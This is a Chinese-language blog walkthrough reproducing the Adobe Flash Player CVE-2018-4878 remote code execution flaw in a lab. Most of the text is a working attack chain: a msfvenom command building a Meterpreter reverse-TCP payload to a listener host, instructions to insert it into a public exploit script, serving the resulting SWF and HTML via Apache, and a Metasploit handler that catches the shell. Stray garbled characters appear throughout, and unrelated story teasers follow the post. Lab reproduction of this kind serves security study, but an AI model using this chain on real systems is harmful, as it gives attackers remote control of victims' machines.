[漏洞復(fù)現(xiàn)]Adobe flash player 28(CVE-2018-4878)

攻擊者通過(guò)構(gòu)造特殊的 Flash 鏈接耗帕, 當(dāng)用戶用瀏覽器/郵件/Office 訪問(wèn)此Flash 鏈接時(shí), 會(huì)被“遠(yuǎn)程代碼執(zhí)行”, 并且直接被 getshell。

環(huán)境:

實(shí)驗(yàn)步驟

一脖隶、kali 使用 msfvenom 生成 shell 代碼

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.177 lport=8888 -f python>shellcode.txt

msfvenom的用法可參考 http://www.reibang.com/p/dee2b171a0a0
下面是使用msfvenom的部分參數(shù),是比較常用的

-p 選擇一個(gè)payload
-l 載荷列表
-f 生成的文件格式
-e 編碼方式
-i 編碼次數(shù)
-b 在生成的程序中避免出現(xiàn)的值
-x 允許我們指定一個(gè)自定義的可執(zhí)行文件作為模板暇检,也就是將木馬捆綁到這個(gè)可執(zhí)行文件上产阱。
-h 幫助。

二块仆、生成swf和html

git clone  https://github.com/HuanWoWeiLan/SoftwareSystemSecurity-2019.git

使用上面生成的payload替換cve-2018-4878.py中的payload

image.png

更改輸出文件路徑

更改輸出文件的路徑

執(zhí)行cve-2018-4878.py构蹬,會(huì)生成兩個(gè)文件

python cve-2018-4878.py
生成的文件

開(kāi)啟apache,將生成的兩個(gè)文件拷貝到/var/www/html中

service apache2 start
cp index2.html /var/www/html/index2.html
cp exploit.swf /var/www/html/exploit.swf

kali開(kāi)啟監(jiān)聽(tīng)

#msfconsole啟動(dòng)
msfconsole
#使用handler監(jiān)聽(tīng)模塊  
msf > use exploit/multi/handler 
#回彈一個(gè)tcp連接  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
#設(shè)置kali滲透機(jī)的ip地址  
msf exploit(handler) > set lhost 192.168.43.177
#設(shè)置監(jiān)聽(tīng)端口,這個(gè)需跟上面msfvenom設(shè)置的端口一致  
msf exploit(handler) > set lport 8888 
#開(kāi)啟監(jiān)聽(tīng)悔据,等待靶機(jī)上線 
msf exploit(handler) > exploit
開(kāi)啟監(jiān)聽(tīng)

靶機(jī)安裝adobe flash player

image.png

訪問(wèn)http://192.168.43.177/index2.html
image.png

kali getshell成功
image.png

meterpreter用法可參考https://www.cnblogs.com/backlion/p/9484949.html

參考資料

https://blog.51cto.com/chenxinjie/2093653
https://github.com/HuanWoWeiLan/SoftwareSystemSecurity-2019/blob/master/%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A.md
https://www.cnblogs.com/backlion/p/9484949.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
禁止轉(zhuǎn)載庄敛,如需轉(zhuǎn)載請(qǐng)通過(guò)簡(jiǎn)信或評(píng)論聯(lián)系作者。
  • 序言:七十年代末科汗,一起剝皮案震驚了整個(gè)濱河市藻烤,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌头滔,老刑警劉巖怖亭,帶你破解...
    沈念sama閱讀 222,464評(píng)論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異坤检,居然都是意外死亡兴猩,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,033評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門早歇,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)倾芝,“玉大人,你說(shuō)我怎么就攤上這事箭跳〕苛恚” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 169,078評(píng)論 0 362
  • 文/不壞的土叔 我叫張陵衅码,是天一觀的道長(zhǎng)拯刁。 經(jīng)常有香客問(wèn)我,道長(zhǎng)逝段,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,979評(píng)論 1 299
  • 正文 為了忘掉前任割捅,我火速辦了婚禮奶躯,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘亿驾。我一直安慰自己嘹黔,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,001評(píng)論 6 398
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著儡蔓,像睡著了一般郭蕉。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上喂江,一...
    開(kāi)封第一講書(shū)人閱讀 52,584評(píng)論 1 312
  • 那天召锈,我揣著相機(jī)與錄音,去河邊找鬼获询。 笑死涨岁,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的吉嚣。 我是一名探鬼主播梢薪,決...
    沈念sama閱讀 41,085評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼尝哆!你這毒婦竟也來(lái)了秉撇?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 40,023評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤秋泄,失蹤者是張志新(化名)和其女友劉穎畜疾,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體印衔,經(jīng)...
    沈念sama閱讀 46,555評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡啡捶,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,626評(píng)論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了奸焙。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片瞎暑。...
    茶點(diǎn)故事閱讀 40,769評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖与帆,靈堂內(nèi)的尸體忽然破棺而出了赌,到底是詐尸還是另有隱情,我是刑警寧澤玄糟,帶...
    沈念sama閱讀 36,439評(píng)論 5 351
  • 正文 年R本政府宣布勿她,位于F島的核電站,受9級(jí)特大地震影響阵翎,放射性物質(zhì)發(fā)生泄漏逢并。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,115評(píng)論 3 335
  • 文/蒙蒙 一郭卫、第九天 我趴在偏房一處隱蔽的房頂上張望砍聊。 院中可真熱鬧,春花似錦贰军、人聲如沸玻蝌。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,601評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)俯树。三九已至帘腹,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間许饿,已是汗流浹背阳欲。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,702評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留米辐,地道東北人胸完。 一個(gè)月前我還...
    沈念sama閱讀 49,191評(píng)論 3 378
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像翘贮,于是被迫代替她去往敵國(guó)和親赊窥。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,781評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容